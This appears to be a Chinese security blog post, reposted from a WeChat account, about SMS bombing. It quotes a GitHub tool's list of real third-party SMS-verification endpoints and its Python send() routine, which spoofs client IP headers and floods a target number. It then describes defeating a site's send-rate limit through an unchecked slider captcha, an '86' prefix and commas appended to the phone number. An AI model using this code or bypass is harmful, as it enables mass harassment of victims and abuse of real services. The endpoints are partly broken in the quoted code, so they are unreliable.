短信轰炸的利用,挖掘和绕过

新闻资讯   2023-06-13 21:41   158   0  

看Github的时候看到了短信轰炸的利用,可刑

因为这个项目比较大型了,换一个简单的看看 https://github.com/WindrunnerMax/Boom

哦忘记先说一下短信轰炸的定义了

短信轰炸是指发送大量短信给某个人或一组人,通常目的是骚扰、诈骗或是恶作剧。行为者可能使用软件或在线服务来自动发送短信,从而使受害者接收到大量不必要或恶意的信息。短信轰炸是一种不道德的行为,可能会导致法律后果。

在上面这个项目中的接口有

APIList = [
["https://login.ceconline.com/thirdPartLogin.do",60,"世界经理人","POST",{"mobileNumber":phone,"method""getDynamicCode","verifyType""MOBILE_NUM_REG","captcharType":"","time": str(int(time.time()*1000))},""],

["http://www.ntjxj.com/InternetWeb/SendYzmServlet",120,"机动车手机绑定","POST",{"sjhm" : phone},"http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"],

......
]

通过send方法针对指定的电话号码进行攻击

def send(self,SMS):
    # return "SUCCESS"
    IP = socket.inet_ntoa(struct.pack('>I', random.randint(10xffffffff)))
    self.HEADERS['X-FORWARDED-FOR'] = IP
    self.HEADERS['CLIENT-IP'] = IP
    session = requests.Session()
    if SMS.getOthers() != "":
        session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
        self.HEADERS['Referer'] = SMS.getOthers()
        try:
            if SMS.getMethod() == "GET":
                req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers = self.HEADERS)
            else:
                req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers = self.HEADERS)
                # print(req.url)
            except Exception as e:
                return str(e)
            return "已发送"

看起来也没啥技术含量,填充参数 -> 发包

因为上面的接口好像都已经加上了验证码的防御,这里就举以前的例子

获取验证码,抓包

虽然这里存在有滑块验证,但是后端并没有对滑块进行验证,故形同虚设。

多次重放发现还是存在频次限制的,响应包显示发送频繁

使用XFF 进行IP伪造,无果

猜测是通过会话来判断是否多次发送的,对session进行修改与删除,无果

对电话号码使用%00 %0a %a0 \n 86等符号进行绕过

发现可以在电话号码前添加86来进行绕过,但是这样仅仅增加了几次短信数量,达不到对某一手机号大规模短信轰炸的效果

又进一步猜测后端会通过某些符号来进行多个电话号码的分割,尝试使用 点 加号 减号 分号 逗号等进行FUZZ绕过。

最终确定使用逗号可以进行绕过

而只需要不断添加逗号,即可以对某一电话进行持续大规模的短信轰炸,实现了频次检查的绕过。

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 :)

加我拉你入群黑糖安全公众号


文章引用微信公众号"黑糖安全",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。